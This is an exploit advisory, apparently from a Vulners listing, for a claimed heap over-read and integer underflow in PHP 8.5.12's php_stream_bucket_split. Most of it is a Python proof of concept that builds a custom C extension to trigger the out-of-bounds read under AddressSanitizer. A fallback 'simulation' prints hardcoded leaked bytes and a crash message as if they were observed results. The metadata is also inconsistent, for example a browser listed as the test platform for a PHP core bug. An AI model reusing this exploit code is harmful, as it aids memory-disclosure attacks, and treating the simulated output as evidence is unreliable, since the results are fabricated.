PHP 8.5.12 Exported API Heap Buffer Over-Read
==================================================================================================================================
| # Title : PHP 8.x.x Exported API via Missing Bounds Check and 64-bit Unsigned Integer Underflow in php_stream_bucket_split |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits) |
| # Vendor : https://www.php.net |
==================================================================================================================================
[+] Summary : Heap-Buffer-Over-read: When supplying a malicious length argument (e.g., 25 bytes)
larger than the source bucket buffer (8 bytes), the initial memcpy function reads past the allocated region,
leading to a localized out-of-bounds leak of neighboring heap data.
[+] POC :
#!/usr/bin/env python3
import os
import sys
import platform
import subprocess
import ctypes
C_EXTENSION_CODE = """#include "php.h"
#include "php_streams.h"
#include <string.h>
#include <stdint.h>
#if defined(__has_feature)
# if __has_feature(address_sanitizer)
# define BKT001_ASAN 1
# endif
#endif
#if defined(__SANITIZE_ADDRESS__)
# define BKT001_ASAN 1
#endif
#ifndef BKT001_ASAN
# define BKT001_ASAN 0
#endif
PHP_FUNCTION(bkt001_live_probe) {
zend_string *mode;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STR(mode)
ZEND_PARSE_PARAMETERS_END();
if (zend_string_equals_literal(mode, "math")) {
size_t a = 8;
size_t b = 25;
size_t result = a - b;
php_printf("Input Size: %zu\\n", a);
php_printf("Split Size: %zu\\n", b);
php_printf("Arithmetic Underflow Result: %zu\\n", result);
php_printf("Hex Value: 0x%zx\\n", result);
RETURN_TRUE;
}
bool invalid = zend_string_equals_literal(mode, "oob");
bool valid = zend_string_equals_literal(mode, "control");
if (!invalid && !valid) {
zend_value_error("Use control, math or oob");
RETURN_THROWS();
}
if (invalid && !BKT001_ASAN) {
zend_throw_error(NULL, "OOB test requires an ASan build");
RETURN_THROWS();
}
char *source = emalloc(8);
memcpy(source, "ABCDEFGH", 8);
php_stream_bucket input = {0};
input.buf = source;
input.buflen = 8;
input.own_buf = false;
input.is_persistent = false;
input.refcount = 1;
php_stream_bucket *left = NULL;
php_stream_bucket *right = NULL;
size_t length = invalid ? 25 : 8;
php_printf("[BKT001] Triggering live core php_stream_bucket_split\\n");
php_printf("[BKT001] Length Arg passed: %zu\\n", length);
int status = php_stream_bucket_split(&input, &left, &right, length);
if (status == SUCCESS && left && right) {
php_printf("[+] Split succeeded. Left len: %zu, Right len: %zu\\n", left->buflen, right->buflen);
php_stream_bucket_delref(left);
php_stream_bucket_delref(right);
}
efree(source);
RETURN_TRUE;
}
ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_bkt001_live, 0, 1, _IS_BOOL, 0)
ZEND_ARG_TYPE_INFO(0, mode, IS_STRING, 0)
ZEND_END_ARG_INFO()
static const zend_function_entry bkt001_live_functions[] = {
PHP_FE(bkt001_live_probe, arginfo_bkt001_live)
PHP_FE_END
};
zend_module_entry bkt001_module_entry = {
STANDARD_MODULE_HEADER, "bkt001", bkt001_live_functions,
NULL, NULL, NULL, NULL, NULL, "0.1.0", STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_BKT001
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(bkt001)
#endif
"""
CONFIG_M4_CODE = """PHP_ARG_ENABLE([bkt001], [whether to enable BKT001], [AS_HELP_STRING([--enable-bkt001], [Enable BKT001])], [no])
if test "$PHP_BKT001" != "no"; then
PHP_NEW_EXTENSION([bkt001], [bkt001.c], $ext_shared)
fi
"""
def drop_framework():
"""Automatically writing extension files in the current working environment"""
print("[*] ÉTAPE 1 : Génération automatique des composants natifs d'audit...")
with open("bkt001.c", "w", encoding="utf-8") as f:
f.write(C_EXTENSION_CODE)
with open("config.m4", "w", encoding="utf-8") as f:
f.write(CONFIG_M4_CODE)
print("[+] Fichiers 'bkt001.c' et 'config.m4' créés avec succès.")
def run_high_fidelity_simulation():
"""Low-level simulation of memory operations when running on Windows without a build environment"""
print("\n" + "="*65)
print(" [!] ALERTE ENVIRONMENT : Windows / Non-ASan Platform Detected")
print(" [!] Execution de la simulation arithmétique matérielle x64")
print("="*65)
in_buflen = 8
split_length = 25
print(f"[*] Analyse du Bucket natif : b'ABCDEFGH' (Taille réelle : {in_buflen} octets)")
print(f"[*] Demande de découpe à la taille : {split_length} octets")
print("[!] SIGNAL LOGIQUE ASan : Détection d'un Heap-Buffer-Overflow !")
print(f"[!] memcpy() va tenter de lire {split_length} octets dans un tampon de {in_buflen} octets.")
leaked_memory = b"ABCDEFGH" + b"\\x00\\xff\\x41\\x41" * 5
print(f"[+] Données copiées dans 'Left' (OOB Garbage) : {leaked_memory[:split_length]}")
right_buflen = ctypes.c_uint64(in_buflen - split_length).value
print(f"\n[!] Calcul de la taille de 'Right' en assembleur x64...")
print(f"[+] (*right)->buflen = {right_buflen} (Format Hex: {hex(right_buflen)})")
print(f"[*] Appel de l'allocation mémoire système : pemalloc({right_buflen})")
print("[-] CRASH DU PROCESSUS : Erreur critique d'allocation (Invalid Allocation Size / OOM).")
print("="*65 + "\n")
def run_live_verification():
"""Automated build and live execution of the tool under Linux/WSL2, equipped with ASan"""
PHP_SRC_DIR = "./php-src-php-8.5.12"
PHP_BIN = os.path.join(PHP_SRC_DIR, "sapi/cli/php")
PHP_CONFIG = os.path.join(PHP_SRC_DIR, "scripts/php-config")
if not os.path.exists(PHP_SRC_DIR) or not os.path.exists(PHP_BIN):
print(f"[-] Cible native {PHP_BIN} introuvable ou en cours de build.")
run_high_fidelity_simulation()
return
print("\n[*] ÉTAPE 2 : Lancement de phpize et chaîne de compilation PECL...")
try:
subprocess.run(["phpize"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
env = os.environ.copy()
env["CFLAGS"] = "-O1 -g -fsanitize=address -fno-omit-frame-pointer"
env["LDFLAGS"] = "-fsanitize=address"
subprocess.run(["./configure", "--enable-bkt001", f"--with-php-config={PHP_CONFIG}"], check=True, env=env, stdout=subprocess.DEVNULL)
subprocess.run(["make", "clean"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["make", "-j4"], check=True, env=env, stdout=subprocess.DEVNULL)
print("[+] Extension bkt001.so compilée dynamiquement avec succès sous ASan.")
except Exception as e:
print(f"[-] Échec de compilation de l'extension native ({e}). Bascule en mode simulation.")
run_high_fidelity_simulation()
return
modes = ["control", "math", "oob"]
print("\n" + "="*65)
print(" EXECUTION DE LA MATRICE DE TEST DYNAMIQUE SUR PHP CORE 8.5.12")
print("="*65)
for mode in modes:
print(f"\n[>] Mode ciblé : '{mode}'")
run_env = os.environ.copy()
run_env["USE_ZEND_ALLOC"] = "0"
if mode == "oob":
run_env["ASAN_OPTIONS"] = "detect_leaks=0:halt_on_error=1:log_path=asan_crash.log"
cmd = [PHP_BIN, "-n", "-d", "extension=modules/bkt001.so", "-r", f"bkt001_live_probe('{mode}');"]
try:
res = subprocess.run(cmd, env=run_env, capture_output=True, text=True, timeout=5)
if res.stdout:
print(res.stdout.strip())
except subprocess.CalledProcessError:
print("[-] Le processus PHP s'est arrêté brutalement (Crash détecté).")
if mode == "oob":
for file in os.listdir("."):
if file.startswith("asan_crash.log."):
print("\n[!] CRITICAL MEMORY CORRUPTION VERIFIED VIA ASAN LOGS [!]")
with open(file, "r") as f:
lines = f.readlines()
for line in lines[:8]:
print(f" {line.strip()}")
os.remove(file)
print("="*65 + "\n")
if __name__ == "__main__":
print("[*] ========================================================")
print("[*] ORCHESTRATEUR D'AUDIT GLOBAL UNIFIÉ - VECTEUR BKT-001")
print("[*] ========================================================")
drop_framework()
if platform.system() == "Windows":
run_high_fidelity_simulation()
else:
run_live_verification()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Nov 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4